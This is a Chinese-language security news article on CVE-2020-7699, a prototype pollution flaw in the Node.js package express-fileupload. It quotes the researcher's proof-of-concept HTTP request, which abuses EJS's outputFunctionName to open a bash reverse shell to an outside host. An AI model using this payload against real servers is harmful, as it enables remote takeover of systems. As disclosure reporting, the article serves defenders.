下载超过 730 万次的 Node.js 模块存在 DoS 攻击和代码注入漏洞
专家在流行的NodeJS模块中发现了一个漏洞,该漏洞可以使攻击者对服务器执行拒绝服务(DoS)攻击或注入任意代码。
该漏洞 CVE 编号为CVE-2020-7699,位于 express-fileupload npm 组件中。NodeJS模块受“Prototype Pollution(原型污染)” CVE-2020-7699漏洞的影响,该漏洞可能允许攻击者在服务器上执行拒绝服务(DoS)攻击或注入任意代码。
NodeJS模块“express-fileupload” 从npm存储库下载的内容超过730万次。
读取NIST的内容:“这会影响1.1.8之前的包express-fileupload。如果启用了parseNested选项,则发送损坏的HTTP请求可能导致拒绝服务或任意代码执行。”
不幸的是,实际安装数量可能会更多,因为开发人员可以从其他存储库(包括GitHub和镜像网站)下载模块。
原型用于定义JavaScript对象的缺省结构和默认值,当未设置任何值时,它们对于指定期望的结构至关重要。能够修改JavaScript对象原型的攻击者如果没有收到预期值,可能会使应用程序崩溃并更改行为。
由于JavaScript的传播,利用原型污染缺陷可能会对Web应用程序造成严重后果。
原型攻击包括将不兼容类型的对象注入现有对象中,以触发可能导致拒绝服务(DoS)条件或任意代码执行(包括建立远程外壳)的错误。
据发现该漏洞的安全研究员Posix称,该问题利用了express-fileupload实现的“ parseNested”功能。
express-fileupload模块实现了几个用于在nodejs应用程序中上传和管理文件的选项。选项之一是parseNested,它使参数扁平化为嵌套对象。
阅读 Posix发布的帖子可知:
因此,如果我们提供
{"a.b.c": true}
作为输入,在内部它将被用作{"a": {"b": {"c": true}}}
下面是“parseNested”选项的代码:
const express = require('express');
const fileUpload = require('express-fileupload');
const app = express();
app.use(fileUpload({parseNested:true}));
app.get('/',(req,res)=> {
res.end('express-fileupload poc');
});
app.listen(7777)
在“ Content-Disposition” HTTP标头中提供有效负载后,攻击者可以提供“ __proto __.toString”值来触发攻击。
“因此,使用上述表单中的
express-fileupload
配置和运行express服务器。帖子继续写道。
“ __proto __ ” 赋值函数可用于修改所有JS对象和结构所继承的JavaScript的“Prototype”属性。
这意味着上述HTTP请求将覆盖并破坏用户代码中存在的每个对象的内置“toString”方法 。
“如果Object.prototype.toString可以被污染,则将导致错误,并且对于每个请求,express [sic]始终返回500错误,”研究人员继续说道。
研究人员还解释说,攻击者可以利用相同的漏洞在易受攻击的系统上获得一个shell。对于这种攻击形式,有必要使应用程序使用的易受攻击的“express-fileupload”版本也使用模板引擎EJS(嵌入式JavaScript模板)。
“在Express应用程序中通过原型解决方案获取shell的最简单方法是使用ejs。是的,应用程序是否应使用ejs模板引擎存在局限性。”专家继续说。
攻击者可以通过发送覆盖EJS的“ outputFunctionName”选项的HTTP请求来触发问题。
下面的有效负载利用了express-fileupload中的原型污染,并指示EJS(应在使用中)执行NodeJS “ child_process”。此过程可用于获取攻击者计算机的反向shell。
POST / HTTP/1.1
Content-Type: multipart/form-data; boundary=--------1566035451
Content-Length: 221
----------1566035451
Content-Disposition: form-data; name="__proto__.outputFunctionName";
x;process.mainModule.require('child_process').exec('bash -c "bash -i &> /dev/tcp/p6.is/8888 0>&1"');x
----------1566035451--
好消息是,在收到研究人员的报告后,“express-fileupload”立即修复了该漏洞。建议用户从npm存储库中获取最新的1.1.9版本。
